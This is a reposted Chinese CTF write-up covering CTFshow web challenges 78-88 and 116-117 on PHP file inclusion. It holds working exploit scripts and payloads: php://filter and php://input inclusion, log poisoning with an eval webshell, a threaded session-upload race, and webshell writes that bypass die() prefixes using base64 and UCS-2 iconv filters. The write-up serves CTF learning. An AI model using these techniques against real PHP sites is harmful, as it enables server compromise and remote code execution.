ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

CTFshow web入门文件包含

2021-10-04 09:06:36  阅读:207  来源: 互联网

标签:web 入门 url 36% 25% session CTFshow file data


前言:看题
web78:

    if(isset($_GET['file'])){
        $file = $_GET['file'];
        include($file);
    }else{
        highlight_file(__FILE__);
    }
发现include是文件包含没错了,伪协议读取出来就可以了

    exp:?file=php://filter/convert.base64-encode/resource=flag.php
web79:

    if(isset($_GET['file'])){
        $file = $_GET['file'];
        $file = str_replace("php", "???", $file);
        include($file);
    }
php替换了???,大小绕过,使用php://input
exp:get:?file=Php://input  post:<?php system("tac flag.php");?>

web80:

    if(isset($_GET['file'])){
        $file = $_GET['file'];
        $file = str_replace("php", "???", $file);
        $file = str_replace("data", "???", $file);
        include($file);
    }
过滤了data,继续使用上题的exp即可

web81:
在上题的基础上又把:过滤了。这里使用日志包含来发包
exp:

    import requests
    
    url = "http://893b0ed2-2497-41f3-b056-c5617165c2f3.chall.ctf.show:8080/" + "?file=/var/log/nginx/access.log"
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0<?php @eval($_POST[dotast]);?>'
    }
    data = {
        'dotast': 'system("cat fl0g.php");'
    }
    req = requests.get(url=url, headers=headers)
    result = requests.post(url=url, data=data)
    print(result.text)
web82:

    if(isset($_GET['file'])){ 
        $file = $_GET['file']; 
        $file = str_replace("php", "???", $file); 
        $file = str_replace("data", "???", $file); 
        $file = str_replace(":", "???", $file); 
        $file = str_replace(".", "???", $file); 
        include($file); 
    }else{ 
        highlight_file(__FILE__); 
    }
这题又把.给过滤了使用日志文件包含就没作用了,这里可以使用session文件包含,php5.4之后默认选项:
1.session.upload_progress.enabled = on
2.session.upload_progress.cleanup = on
3.session.upload_progress.prefix = “upload_progress_”
4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
5.session.use_strict_mode=off

**第一个表示当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
第二个表示当文件上传结束后,php将会立即清空对应session文件中的内容
第三和第四个prefix+name将表示为session中的键名
第五个表示我们对Cookie中sessionID可控
可以利用session.upload_progress将木马写入session文件,然后包含这个session文件。不过前提是我们需要创建一个session文件,并且知道session文件的存放位置。因为session.use_strict_mode=off的关系,我们可以自定义sessionID
linux系统中session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session
例如我们在Cookie中设置了PHPSESSID=flag,php会在服务器上创建文件:/tmp/sess_flag,即使此时用户没有初始化session,php也会自动初始化Session。 并产生一个键值,为prefix+name的值,最后被写入sess_文件里
还有一个关键点就是session.upload_progress.cleanup默认是开启的,只要读取了post数据,就会清除进度信息,所以我们需要利用条件竞争来pass,写一个脚本来完成**
exp:

    import io
    import requests
    import threading
    url = 'http://453228ae-28f2-4bb0-b401-83514feae8df.chall.ctf.show:8080/'
    
    def write(session):
        data = {
            'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>dotast'
        }
        while True:
            f = io.BytesIO(b'a' * 1024 * 10)
            response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
    def read(session):
        while True:
            response = session.get(url+'?file=/tmp/sess_flag')
            if 'dotast' in response.text:
                print(response.text)
                break
            else:
                print('retry')
    
    if __name__ == '__main__':
        session = requests.session()
        for i in range(30):
            threading.Thread(target=write, args=(session,)).start()
        for i in range(30):
            threading.Thread(target=read, args=(session,)).start()

web83-84通用82exp脚本

web85:

    if(isset($_GET['file'])){
        $file = $_GET['file'];
        $file = str_replace("php", "???", $file);
        $file = str_replace("data", "???", $file);
        $file = str_replace(":", "???", $file);
        $file = str_replace(".", "???", $file);
        if(file_exists($file)){
            $content = file_get_contents($file);
            if(strpos($content, "<")>0){
                die("error");
            }
            include($file);
        }
    }
加了个die,没啥影响,在上一个脚本的基础多加点线程就可以了
exp:

    import io
    import requests
    import threading
    url = 'http://8c42100f-3744-4c9f-83d4-5ac626e78719.chall.ctf.show:8080/'
    
    def write(session):
        data = {
            'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>dotast'
        }
        while True:
            f = io.BytesIO(b'a' * 1024 * 10)
            response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
    def read(session):
        while True:
            response = session.get(url+'?file=/tmp/sess_flag')
            if 'dotast' in response.text:
                print(response.text)
                break
            else:
                print('retry')
    
    if __name__ == '__main__':
        session = requests.session()
        for i in range(30):
            threading.Thread(target=write, args=(session,)).start()
        for i in range(30):
            threading.Thread(target=read, args=(session,)).start()
web86同上exp脚本

web87:

    if(isset($_GET['file'])){
        $file = $_GET['file'];
        $content = $_POST['content'];
        $file = str_replace("php", "???", $file);
        $file = str_replace("data", "???", $file);
        $file = str_replace(":", "???", $file);
        $file = str_replace(".", "???", $file);
        file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
    }
将一句话base64编码,又因为phpdie为6个字符,再+两个字符正好8个,在解码的时候会忽略掉<?php die('大佬别秀了');?>
注意源码有一次解码,所以url加密两次
exp:

    import requests
    
    url = "http://67365af2-c5a6-4b3c-8900-25c85ed1d8cc.chall.ctf.show:8080/"
    #经过两次url编码的php://filter/write=convert.base64-decode/resource=dotast.php
    get_data = "%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%36%34%25%36%31%25%37%34%25%36%31%25%37%33%25%37%34%25%32%45%25%37%30%25%36%38%25%37%30"
    get_url = url + "?file=" + get_data
    data = {
        'content': 'nbPD9waHAgQGV2YWwoJF9QT1NUW3Bhc3NdKTs/Pg=='
    }
    res = requests.post(url=get_url, data=data)
    shell_url = url + "dotast.php"
    test = requests.get(shell_url)
    if(test.status_code == 200):
        print("[*]getshell成功")
        shell_data = {
            'pass': 'system("cat fl0g.php");'
        }
        result = requests.post(url=shell_url, data=shell_data)
        print(result.text)

web88:

    if(isset($_GET['file'])){
        $file = $_GET['file'];
        if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
            die("error");
        }
        include($file);
    }
过滤了php,没过滤data,使用data协议进行包含,base64编码一下
exp:

    ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4
web116:本地包含漏洞,盲猜下路径,包含flag就可以
exp:/index.php?file=/var/www/html/flag.php

web117:

    <?php
    highlight_file(__FILE__);
    error_reporting(0);
    function filter($x){
        if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
            die('too young too simple sometimes naive!');
        }
    }
    $file=$_GET['file'];
    $contents=$_POST['contents'];
    filter($file);
    file_put_contents($file, "<?php die();?>".$contents); 
过滤了base64,就不能使用base64编码绕过前面的phpdie了,这里引用了一个新的思路
convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
iconv ( string $in_charset , string $out_charset , string $str ):将字符串$str从in_charset编码转换到$out_charset
这里引入usc-2的概念,作用是对目标字符串每两位进行一反转,值得注意的是,因为是两位所以字符串需要保持在偶数位上

    $result = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_POST[dotast]);?>');
    echo "经过一次反转:".$result."\n";
    echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
    
    //输出结果如下:
    //经过一次反转:?<hp pe@av(l_$OPTSd[tosa]t;)>?
    //经过第二次反转:<?php @eval($_POST[dotast]);?>
经过两次反转之后代码又组装回来,思路就是用经过一次反转后的webshell和死亡代码<?php die();?>一起组合之后,经过第二次反转我们的webshell就恢复正常了,而死亡代码会被反转打乱不能执行
exp:

    import requests
    
    url = "http://8a412388-9727-4ea0-8b0d-1f144f2d1a87.chall.ctf.show:8080/"
    get_data = "php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=dotast.php"
    get_url = url + "?file=" + get_data
    data = {
        'contents': '?<hp pe@av(l_$OPTSd[tosa]t;)>?'
    }
    res = requests.post(url=get_url, data=data)
    shell_url = url + "dotast.php"
    test = requests.get(shell_url)
    if(test.status_code == 200):
        print("[*]getshell成功")
        shell_data = {
            'dotast': 'system("cat flag.php");'
        }
        result = requests.post(url=shell_url, data=shell_data)
        print(result.text)
 

标签:web,入门,url,36%,25%,session,CTFshow,file,data
来源: https://blog.csdn.net/qq_39948058/article/details/120600876

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有